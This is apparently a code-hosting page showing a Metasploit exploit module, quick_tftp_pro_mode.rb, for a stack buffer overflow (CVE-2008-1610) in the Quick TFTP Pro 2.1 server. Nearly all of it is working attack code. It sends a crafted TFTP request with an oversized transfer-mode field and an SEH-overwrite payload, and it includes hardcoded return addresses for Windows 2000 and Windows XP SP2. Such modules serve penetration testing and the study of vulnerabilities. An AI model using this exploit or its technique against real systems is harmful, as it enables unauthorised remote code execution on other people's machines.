Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the Quick TFTP Pro server16product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting17in a DoS. This is a port of a sploit by Mati "muts" Aharoni.18},19'Author' => 'Saint Patrick',20'References' =>21[22['CVE', '2008-1610'],23['OSVDB', '43784'],24['BID', '28459'],25['URL', 'http://web.archive.org/web/20080330000001/http://secunia.com:80/advisories/29494/'],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 460,34'BadChars' => "\x00\x20\x0a\x0d",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll41['Windows XP SP2', {'Ret' => 0x74D31458} ], #oledlg.dll42],43'DefaultTarget' => 1,44'DisclosureDate' => '2008-03-27'))4546register_options(47[48Opt::RPORT(69)49])5051end5253def exploit54connect_udp5556print_status("Trying target #{target.name}...")5758sploit = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"59sploit += "A"*101960seh = generate_seh_payload(target.ret)61sploit +=seh62sploit += "\x00"6364udp_sock.put(sploit)65print_status("Done.")6667handler68disconnect_udp69end70end717273